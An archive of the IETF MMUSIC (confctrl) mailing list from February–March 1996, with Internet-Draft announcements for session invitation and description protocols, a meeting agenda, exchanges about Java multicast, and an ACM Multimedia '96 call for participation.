Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-scip-00.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-scip-00.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
For questions, please mail to Internet-Drafts@cnri.reston.va.us.
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19960222170701.I-D@CNRI.Reston.VA.US>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-scip-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-scip-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19960222170701.I-D@CNRI.Reston.VA.US>

--OtherAccess--

--NextPart--


From owner-confctrl@ISI.EDU  Fri Feb 23 16:12:21 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA23723>; Fri, 23 Feb 1996 08:13:29 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA23718>; Fri, 23 Feb 1996 08:13:27 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA02476>; Fri, 23 Feb 1996 08:13:13 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.25620-0@bells.cs.ucl.ac.uk>; Fri, 23 Feb 1996 16:12:24 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl
Subject: Re: I-D ACTION:draft-ietf-mmusic-scip-00.txt, .ps
In-Reply-To: Your message of "Fri, 23 Feb 1996 09:47:27 EST." <9602230947.aa20924@IETF.CNRI.Reston.VA.US>
Date: Fri, 23 Feb 1996 16:12:21 +0000
Message-Id: <1994.825091941@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>A New Internet-Draft is available from the on-line Internet-Drafts 
>directories. This draft is a work item of the Multiparty Multimedia Session
>Control Working Group of the IETF.                                         
>
>       Title     : Simple Conference Invitation Protocol                   
>       Author(s) : H. Schulzrinne
>       Filename  : draft-ietf-mmusic-scip-00.txt, .ps
>       Pages     : 18
>       Date      : 02/22/1996


>>	Title     : Session Invitation Protocol
>>	Author(s) : M. Handley, E. Schooler
>>	Filename  : draft-ietf-mmusic-sip-00.ps
>>	Pages     : 17
>>	Date      : 02/22/1996

Just to allay any confusion - yes we did end up with two internet
drafts on session invitation.  Although they essentially perform the
same task, they are significantly different (SCIP is based on HTTP,
SIP is UDP based).  We plan to discuss both in LA and hopefully a
single draft combining the best aspects of both will emerge from the
discussion process!

Mark


From owner-confctrl@ISI.EDU  Fri Feb 23 21:16:50 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12356>; Fri, 23 Feb 1996 13:17:26 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12352>; Fri, 23 Feb 1996 13:17:25 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA06252>; Fri, 23 Feb 1996 13:17:09 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06331-0@bells.cs.ucl.ac.uk>; Fri, 23 Feb 1996 21:16:54 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl
Subject: SDP pre-draft
Date: Fri, 23 Feb 1996 21:16:50 +0000
Message-Id: <3236.825110210@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


There is a pre-draft of draft-ietf-mmusic-sdp-02.ps in
http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.02.0.ps.gz

The only significant changes from the -01 draft are on pages 12, 13
and 14 regarding RTP payload types as I mentioned in my message in
December.

I'll issue a proper draft of this next week, but I thought it worth
circulating a pre-draft at this stage for your comment.

We should be issuing a working group last call on this fairly soon, so
any general comments on things we've missed, things that are generally
unclear, wrong, etc would be useful.

Mark

From majordom@ISI.EDU  Mon Feb 26 17:12:38 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA18019>; Mon, 26 Feb 1996 17:12:38 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA18012>; Mon, 26 Feb 1996 17:12:29 -0800
Received: from relay.hp.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22906>; Mon, 26 Feb 1996 17:11:34 -0800
Received: from mail.jp.hpl.hp.com (hpujlj42.jp.hpl.hp.com) by relay.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA198593488; Mon, 26 Feb 1996 17:11:28 -0800
Received: (from root@localhost) by mail.jp.hpl.hp.com (8.7.4+2.6Wbeta6/3.4W4-HPLJ-MailGateway1.34-960226) id KAA06928 for confctrl@isi.edu.JIS; Tue, 27 Feb 1996 10:10:11 +0900 (JST)
From: Farhad Islam <farhad@jp.hpl.hp.com>
Received: from hpujlj52.jp.hpl.hp.com (hpujlj52.jp.hpl.hp.com [15.12.236.52]) by mail.jp.hpl.hp.com (8.7.4+2.6Wbeta6/3.4W4-HPLJ-MailGateway1.34-960226) with ESMTP id KAA06925 for <confctrl@isi.edu>; Tue, 27 Feb 1996 10:10:10 +0900 (JST)
Received: by hpujlj52.jp.hpl.hp.com (1.37.109.16/3.4Wbeta3-HPLJ-local1.23-950811)
	id AA058723175; Tue, 27 Feb 1996 10:06:15 +0900
Message-Id: <199602270106.AA058723175@hpujlj52.jp.hpl.hp.com>
Subject: Minute info req
To: confctrl@ISI.EDU
Date: Tue, 27 Feb 96 10:06:15 JST
Mailer: Elm [revision: 70.85]
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hello,

Could anyone please inform me where I may get the
Minutes from the 29th IETG meeting held at Seattle, WA,
March, 1994.

I need to consult the MMUSIC internet drafts submitted
in March'94.

Is there any URL/ftp site containing above materials?

Thanks for your kind  cooperation. Regards,


Farhad F. Islam                    
                                   
Interpersonal Multimedia Group     Phone: +81-44-812-5842 (TELNET:375-5842)
Hewlett-Packard Labs Japan         Phone: +81-44-812-9757 (Operator)
3-2-2 Sakado Takatsu-ku            Fax:   +81-44-812-5247 (TELNET:375-631)
Kawasaki 213 JAPAN                 e-mail: farhad@jp.hpl.hp.com 

From majordom@ISI.EDU  Mon Feb 26 10:41:54 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA21032>; Mon, 26 Feb 1996 18:45:38 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA21026>; Mon, 26 Feb 1996 18:45:36 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA27949>; Mon, 26 Feb 1996 18:45:34 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA08029; Mon, 26 Feb 96 18:41:54 PST
Date: Mon, 26 Feb 96 18:41:54 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9602270241.AA08029@vlsi.cs.caltech.edu>
To: farhad@jp.hpl.hp.com
Subject: Re: Minute info req
Cc: confctrl@ISI.EDU, rlang@std.sri.com, mhandley@cs.ucl.ac.uk,
        schooler@cs.caltech.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Could anyone please inform me where I may get the
>Minutes from the 29th IETG meeting held at Seattle, WA,
>March, 1994.
>
>I need to consult the MMUSIC internet drafts submitted
>in March'94.
>
>Is there any URL/ftp site containing above materials?

The MMUSIC archive is located at "ftp://ftp.isi.edu/confctrl".
The minutes are in the subdirectory "minutes" and the draft
documents in the subdirectory "docs".  

We hope to create a MMUSIC URL sometime before next week :-)
(or shortly thereafter).

E.

From majordom@ISI.EDU  Tue Feb 27 15:37:40 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA01493>; Tue, 27 Feb 1996 07:39:52 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA01487>; Tue, 27 Feb 1996 07:39:51 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA06983>; Tue, 27 Feb 1996 07:39:25 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.24818-0@bells.cs.ucl.ac.uk>; Tue, 27 Feb 1996 15:37:43 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
Cc: confctrl@ISI.EDU
Subject: Re: SDP pre-draft
In-Reply-To: Your message of "Fri, 23 Feb 1996 21:16:50 GMT." <3236.825110210@cs.ucl.ac.uk>
Date: Tue, 27 Feb 1996 15:37:40 +0000
Message-Id: <6516.825435460@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>There is a pre-draft of draft-ietf-mmusic-sdp-02.ps in
>http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.02.0.ps.gz
>
>The only significant changes from the -01 draft are on pages 12, 13
>and 14 regarding RTP payload types as I mentioned in my message in
>December.

Inevitably some errors crept into this SDP draft.  There's a newer version
now in http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.02.1.ps.gz

In particular, many thanks are due to Eve for giving the previous draft
a very thorough reading!

Mark

From majordom@ISI.EDU  Wed Feb 28 08:47:42 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA26330>; Wed, 28 Feb 1996 16:47:56 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA26324>; Wed, 28 Feb 1996 16:47:54 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA27701>; Wed, 28 Feb 1996 16:47:53 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA17807; Wed, 28 Feb 96 16:47:42 PST
Date: Wed, 28 Feb 96 16:47:42 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9602290047.AA17807@vlsi.cs.caltech.edu>
To: confctrl@ISI.EDU
Subject: I-D ACTION:draft-williams-uls-00.txt
Cc: schooler@cs.caltech.edu, rlang@std.sri.com, mhandley@cs.ucl.ac.uk
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

FYI,

A relevant I-D for MMUSIC enthusiasts.  We're hoping to have
enough time to schedule a presentation.

E.

----- Begin Included Message -----
	
To: IETF-Announce.;@IETF.CNRI.Reston.VA.US
Sender: ietf-announce-request@ietf.cnri.reston.va.us
From: Internet-Drafts@cnri.reston.va.us
Subject: I-D ACTION:draft-williams-uls-00.txt
Date: Sat, 24 Feb 96 13:30:40 -0500

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts
directories.


       Title     : User Location Service
       Author(s) : R. Williams
       Filename  : draft-williams-uls-00.txt
       Pages     : 10
       Date      : 02/23/1996

This memo describes a proposed protocol for locating and connecting users
together on an internet.

In the last year, there has been an explosion in the number of client
applications on the Internet that communicate directly with another client
or clients. These applications include internet "telephones", video phones,
whiteboards, and other conferencing applications. Each of these
applications uses a proprietary or ad-hoc solution for providing a
directory of currently connected users and performing name to address
mapping.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-williams-uls-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-williams-uls-00.txt

Internet-Drafts directories are located at:

     o  Africa
	Address:  ftp.is.co.za (196.4.160.8)

     o  Europe
	Address:  nic.nordu.net (192.36.148.17)
	Address:  ftp.nis.garr.it (192.12.192.10)

     o  Pacific Rim
	Address:  munnari.oz.au (128.250.1.21)

     o  US East Coast
	Address:  ds.internic.net (198.49.45.10)

     o  US West Coast
	Address:  ftp.isi.edu (128.9.0.32)

Internet-Drafts are also available by mail.

Send a message to:  mailserv@ds.internic.net. In the body type:
     "FILE /internet-drafts/draft-williams-uls-00.txt".

NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.

For questions, please mail to Internet-Drafts@cnri.reston.va.us.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19960224115028.I-D@CNRI.Reston.VA.US>

ENCODING mime
FILE /internet-drafts/draft-williams-uls-00.txt

--OtherAccess
Content-Type:   Message/External-body;
	name="draft-williams-uls-00.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19960224115028.I-D@CNRI.Reston.VA.US>

--OtherAccess--

--NextPart--


----- End Included Message -----


From majordom@ISI.EDU  Fri Mar  1 07:20:23 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA06746>; Fri, 1 Mar 1996 15:20:32 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA06740>; Fri, 1 Mar 1996 15:20:29 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA27117>; Fri, 1 Mar 1996 15:20:28 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA15742; Fri, 1 Mar 96 15:20:25 PST
Message-Id: <9603012320.AA15742@std.sri.com>
To: confctrl@ISI.EDU
Cc: m.handley@cs.ucl.ac.uk, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: Revised MMUSIC Agenda
Date: Fri, 01 Mar 1996 15:20:23 -0800
From: Ruth Lang <rlang@std.sri.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Folks,

Enclosed is a revised agenda for the upcoming MMUSIC meeting.
Documents referenced below may be found at the MMUSIC archive
(ftp://ftp.isi.edu/pub/confctrl/docs).  Documents named
"draft-ietf-mmusic-*" may also be found at the RFC/I-D ftp sites.

The enthusiasm represented by the requests we've received to add items
to the agenda is terrific.  We're sure to have two very interesting
sessions next week.  Thanks in advance to all of those who will be
presenting for their time and contributions to the group.

See you on Monday!

Mark, Eve, and Ruth

---------------------------------

Agenda for the MMUSIC Working Group
35th IETF, Los Angeles, California


MONDAY, MARCH 4, 1930-2200

Welcome and Agenda Review (10 min)
	Ruth Lang, SRI International

SDP - Session Description Protocol (20 min)
	sdp.02.1.ps
	Mark Handley, University College London

SDAP - Session Directory Announcement Protocol (20 min)
	Mark Handley, University College London

Conference Architecture Document  (30 min)
	draft-ietf-mmusic-confarch-00.ps
	Mark Handley, University College London

Evolving "sd" into a General Groupware Application (30 min)
	Ross Finlayson, Live Networks, Inc.

User Location (15 minutes each)
	- Max Morris, Microsoft Corporation (draft-williams-uls-00.txt)
	- Eve Schooler, California Institute of Technology


TUESDAY, MARCH 5, 0900-1130
 
SCIP - Simple Conference Invitation Protocol (45 min)
	draft-ietf-mmusic-scip-00.{ps,txt}
	Henning Schulzrinne, GMD Fokus

SIP - Session Invitation Protocol (45 min)
	draft-ietf-mmusic-sip-00.ps
	Eve Schooler, California Institute of Technology

SCCP - Simple Conference Control Protocol (30 min)
	Carsten Bormann, Universitaet Bremen

H.323 for the Internet (15 min)
	Jim Toga, Intel

Overview of Internet Telephony  (15 min)
	Ed Ellesson, IBM



From majordom@ISI.EDU  Sat Mar  2 23:14:50 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA21721>; Sat, 2 Mar 1996 13:14:58 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA21705>; Sat, 2 Mar 1996 13:14:56 -0800
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-22)
	id <AA03150>; Sat, 2 Mar 1996 13:14:54 -0800
Received: by   ruin.informatik.uni-Bremen.de (8.6.10/20.9.94cl) 
	  id   WAA21118
          Sat, 2 Mar 1996 22:14:50 +0100
Date: Sat, 2 Mar 1996 22:14:50 +0100
Message-Id: <199603022114.WAA21118@ruin.informatik.uni-Bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: confctrl@ISI.EDU
Subject: SCCP pre-draft availability
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Tuesday morning, I'm going to present the current state of the
development of SCCP, the Simple Conference Control Protocol.
For those of you who want to take a glimpse at an extremely early 
pre-draft, we have put a copy on

  ftp://ftp.cs.tu-berlin.de/pub/local/kbs/sccp/draft-sccp-00-pre-0.ps.gz

Don't weigh every word yet, please.
(You may be better off listening to my presentation first, anyway.)

Gruesse, Carsten

From majordom@ISI.EDU  Wed Mar  6 10:09:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA25770>; Wed, 6 Mar 1996 02:13:19 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA25764>; Wed, 6 Mar 1996 02:13:18 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA01519>; Wed, 6 Mar 1996 02:11:39 -0800
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06794-0@bells.cs.ucl.ac.uk>; Wed, 6 Mar 1996 10:09:48 +0000
To: m.handley@cs.ucl.ac.uk
Cc: confctrl@ISI.EDU
Subject: javacast, sd, etc
Date: Wed, 06 Mar 1996 10:09:46 +0000
Message-Id: <842.826106986@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


mark

howz LA?

i have java mcast working just fine (from java programs AND from
inside netscape 2 - of course if the netscape people plug the
[recently CERT advised] secutiry hole, the latter will probably stop
working:-)

we thought that next things to do are
a) implement the SD stuff so i can browese the sessions from within a
java program , and then download (instead of laucnh) the appropriate
java applet.....

so all i have to so is RTP/RTCP in java, sd in java, and a 
extension, so as well as there being a URL for "further information",
there is a URL for the applets themselves...

or else make the media fields optionally URLs ...

i.e. instead of h261 or pcm, you'd have
http://www.java.yourfavouritesoftwaresite/vic.java

sort of....

jon 

From majordom@ISI.EDU  Wed Mar  6 14:11:37 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA27608>; Wed, 6 Mar 1996 04:13:16 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA27601>; Wed, 6 Mar 1996 04:13:13 -0800
Received: from basil.cdt.luth.se by venera.isi.edu (5.65c/5.61+local-22)
	id <AA03884>; Wed, 6 Mar 1996 04:13:11 -0800
Received: from salt.cdt.luth.se (salt.cdt.luth.se [130.240.3.63]) by basil.cdt.luth.se (8.6.12/8.6.12) with ESMTP id NAA05042; Wed, 6 Mar 1996 13:12:05 +0100
Received: from salt (localhost [127.0.0.1]) by salt.cdt.luth.se (8.6.12/8.6.12) with ESMTP id NAA14110; Wed, 6 Mar 1996 13:11:37 +0100
Message-Id: <199603061211.NAA14110@salt.cdt.luth.se>
X-Mailer: exmh version 1.6.4 10/10/95
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: m.handley@cs.ucl.ac.uk, confctrl@ISI.EDU
Subject: Re: javacast, sd, etc 
In-Reply-To: Your message of "Wed, 06 Mar 1996 10:09:46 GMT."
             <842.826106986@cs.ucl.ac.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Date: Wed, 06 Mar 1996 13:11:37 +0100
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> so all i have to so is RTP/RTCP in java

I've done this :-) I have a RTP2 implementation including SRM and a WebCa=
st application including Netscape-control and CCI-input. =


I'm sitting here right now writing a draft on my extensions to RTP2 for S=
RM.

The RTCP/RTP stuff is inter-operable with VIC/VAT (by the way anyone know=
 if it's a bug that Vat4 doesn't read SDES-info in a SR-packet?).

/P








From majordom@ISI.EDU  Fri Mar 15 06:38:21 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA18169>; Fri, 15 Mar 1996 08:44:28 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA18160>; Fri, 15 Mar 1996 08:44:12 -0800
Received: from europe.std.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15823>; Fri, 15 Mar 1996 08:44:10 -0800
Received: from world.std.com by europe.std.com (8.6.12/Spike-8-1.0)
	id LAA07342; Fri, 15 Mar 1996 11:43:55 -0500
Received: by world.std.com (5.65c/Spike-2.0)
	id AA25983; Fri, 15 Mar 1996 11:38:22 -0500
Date: Fri, 15 Mar 1996 11:38:21 -0500 (EST)
From: Robert E Lamm <cync@world.std.com>
Subject: ACM Multimedia '96
To: klara@cs.uiuc.edu, rem-conf@es.net, confctrl@ISI.EDU,
        f-troup@aurora.cis.upenn.edu, klas@darmstadt.gmd.de,
        dbworld@cs.wisc.edu, hofmann@sap-ag.de
Cc: tdcl@bu.edu
In-Reply-To: <199603150102.UAA26053@catwoman.bu.edu>
Message-Id: <Pine.3.89.9603151129.B16005-0100000@world.std.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Can you publicize this within your group and anywhere else you think this 
might be appropriate?


Thanks!

-Bob Lamm
 MM '96 Publicity

___________________________________________

ACM MULTIMEDIA'96

November 18 - 22, 1996
Hynes Convention Center
Boston, MA, USA

PRELIMINARY CALL FOR PARTICIPATION

THE FOURTH ACM INTERNATIONAL MULTIMEDIA CONFERENCE AND EXHIBITION

Sponsored by the ACM SIG Multimedia, SIGCOMM, SIGLINK, SIGMIS and
SIGGRAPH, in cooperation with SIGBIT, SIGIR, SIGCHI, and SIGOIS
(tentative lists)

Multimedia technology can substantially improve the communication
between information providers and consumers. It contributes to
the general accessibility of information, through new interactive
media as well as through new forms of production, delivery and
perception of existing media.  ACM Multimedia'96 will provide an
international forum for papers, panels, videos, demonstrations,
courses, workshops, and exhibits focusing on all aspects of this
multi-disciplinary field: from underlying technologies to
applications and issues, and from theory to practice. We invite
your participation.

Topics include, but are not limited to: applications in
art, education, entertainment, government, medicine, etc.;
collaboration environments; databases; digital libraries;
distributed systems; documents and authoring; hardware and
architectures; image, video and audio compression techniques;
information retrieval; interactive television; media integration
and synchronization; networking and communication; operating
system extensions; programming paradigms and environments;
standards and legal issues; storage and I/O architectures; tools;
user interfaces; and virtual reality.

ACM Multimedia'96 will be co-located with SPIE's Symposium on
Voice, Video and Data Communications, and Broadband
Communications Expo. It will overlap with CSCW, to be held in
nearby Cambridge.

Papers:
-------
Technical papers on completed or in-progress research,
innovative applications, or experience with multimedia systems
are solicited. Submissions must use a minimum of 10-point
typeface, and be up to 12 pages (preferably double sided),
including figures, tables, and references.  Where applicable,
prototype demonstrations or videotape presentations are
encouraged to supplement the papers. Papers must be accompanied
by an electronic cover sheet (see submission instructions below).
Submit complete papers to: Wendy Hall, Program co-Chair.

Outstanding papers on different areas of multimedia will be given
awards.  Papers with a student as the primary author will enter a
student paper award competition. A cover letter must identify the
paper as a candidate for the student paper competition. Selected
papers will be forwarded to ACM/Springer-Verlag Multimedia
Systems, Communications of the ACM, IEEE/ACM Transactions on
Networking, or ACM Transactions on Information Systems.

Multimedia and Art:
-------------------
Submissions by artists presenting innovative work in the field
are encouraged. A specific selection process and a special
Multimedia and Art session will take place. Submissions by
artists should include a paper presentation, a single VHS NTSC
video and demonstration requirements when applicable, and a
biography. Submit to: Art chair.

Panels:
-------
Panels are solicited that examine innovative, controversial, or
otherwise provocative issues of interest. Proposals should be
limited to 2 pages, plus a biography of at most one paragraph for
each participant.  Submit panel proposals to: Bob Allen, Panels
Chair.

Demonstrations:
---------------
We solicit demonstrations of working systems in technical and
artistic categories. Submissions (at most 2 pages) should include
a description of the exhibit, demo requirements, a biography, and
a single VHS NTSC video. Submit demonstrations to: Arding Hsu,
Demonstrations Chair.

Courses:
--------
There will be a series of 1/2-day tutorial courses, focused on
issues relevant to researchers and/or practitioners of multimedia
technology. Proposals (at most 5 pages) should include
a description of the subject matter and brief biographical
sketches of the instructors.  Evaluation of proposals will be
based on expertise and experience of instructors, relevance of
subject matter, and the use of multimedia technology in the
presentation. Submit tutorial proposals to: Rajiv Mehrotra,
Tutorials Chair.

Workshops:
----------
Workshops preceding the conference will allow participants to
exchange ideas on a topic. Workshop results and issues will be
integrated into the main body of the conference. Submit workshop
proposals to: Wayne Wolf, Workshops Chair.

Exhibits:
---------
Exhibits for ACM Multimedia'96 will be combined with those for
SPIE's Symposium on Voice, Video, and Data Communications,
offering vendors and publishers a unique opportunity to exhibit
and demonstrate multimedia products. For more information,
contact exhibits@spie.org

IMPORTANT SUBMISSION INFORMATION

Authors should consult the World Wide Web
at http://www.acm.org/sigmm/MM96/ for more detailed submission
guidelines and up-to-date information about ACM Multimedia'96.

Authors of accepted submissions will be required to submit both a
camera-ready copy of the manuscript for the printed proceedings
and an electronic copy for the CD ROM proceedings.

Authors must assign copyright to ACM as a condition of publishing
their work in the proceedings. An author who embeds an object,
such as an art image, copyrighted by a third party is expected to
obtain that party's permission to include the object with the
understanding that the entire work may be distributed as a unity
to ACM members and others.

IMPORTANT DATES

All Submissions (6 copies for papers) due: April 24, 1996
Notification of acceptance:                July 15, 1996
Final submissions due:                     August 26, 1996

CONFERENCE COMMITTEE

General Chairs: Philippe Aigrain, IRIT, Univ. P. Sabatier,
Toulouse,
                France and V. Michael Bove, MIT Media Laboratory
Proceedings:    Lena Davis, MIT Media Laboratory
Electronic Information: Stephan Fischer, University of Mannheim,
                Germany and H. Zhang, CMU
Publicity:      Bob Lamm, Cync Corp.
Treasurer:      John Buford, University of Massachusetts
Eurographics Liaison: Jose Encarnacao, Fraunhofer-IGD, Darmstadt,
                Germany
Asian/Pacific Liaison: Yoshinobu Tonomura, NTT Human Interface
                Laboratory, Japan
Steering Committee Chairs: Steve Bulick, US West and Allan
Kuchinsky,
                Hewlett Packard Labs.

PROGRAM CHAIRS:

Wendy Hall
Dept. of Elec. and Computer Engr. University of Southampton,
Southampton SO17 1BJ
United Kingdom
Phone: +44-1703-592388
Fax: +44-1703-592865
W.Hall@ecs.soton.ac.uk

T.D.C. Little
ECS Dept.
Boston University
44 Cummington St.
Boston, MA 02215, USA
Phone: +1-617-353-9877
Fax: +1-617-353-6440
tdcl@bu.edu

Program Committee Members (to date):

John Buford, University of Massachusetts at Lowell
Shih-Fu Chang, Columbia University
Wolfgang Effelsberg, University of Mannheim
Carole Goble, Manchester University
Jorge Haake, GMD-IPSI
Wolfgang Klas, GMD-IPSI
Wendy Mackay, University of Paris
Klara Nahrstedt, University of Illinois, Urbana-Champ.
Brian Smith, Cornell Univiversity
Dan Swinehart, Xerox Palo Alto Research Center
Yuzuru Tanaka, Hokkaido University
William Tetzlaff, IBM T.J. Watson Research Center
Hirotada Ueda, Hitachi Denshi, Ltd.
Harrick Vin, University of Texas at Austin
HongJiang Zhang, HP Labs
Hui Zhang, Carnegie Mellon University

PANELS CHAIR:

Bob Allen
Bellcore, 1A352R
445 South Street
Morristown, NJ 07960
Phone: +1-201-829-4315
Fax: +1-201-829-5981
rba@bellcore.com

DEMONSTRATIONS CHAIR:

Dr. Arding Hsu
Head, Multimedia/Video Dept.
Siemens Corp. Research
755 College Road East
Princeton, NJ 08540
Phone: +1-609-734-6548
Fax: +1-609-734-6565
ahsu@scr.siemens.com

TUTORIALS CHAIR:

Rajiv Mehrotra
Dept of Math. and Comp. Sci.
Univ. of Missouri - St. Louis
8001 Natural Bridge Road
St. Louis, MO 63121-4499
Phone: +1-314-516-6342
Fax: +1-314-516-5400
rajiv@mayura.cs.umsl.edu

WORKSHOPS CHAIR:

Wayne Wolf
Dept. of Electrical Engineering
Princeton University
Princeton, NJ 08544-5263
Phone: +1-609-258-1424
Fax: +1-609-258-3745
wolf@ee.princeton.edu

ART CHAIR:
Watch the Web pages for further information coming soon.

GENERAL INFORMATION:
http://www.acm.org/sigmm/MM96/ or
http://www.uni-mannheim.de/acm96/




From majordom@ISI.EDU  Fri Mar 15 07:40:01 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA21934>; Fri, 15 Mar 1996 09:46:00 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA21913>; Fri, 15 Mar 1996 09:45:46 -0800
Received: from cerc.wvu.edu (cathedral.cerc.wvu.edu) by quark.isi.edu (5.65c/5.61+local-20)
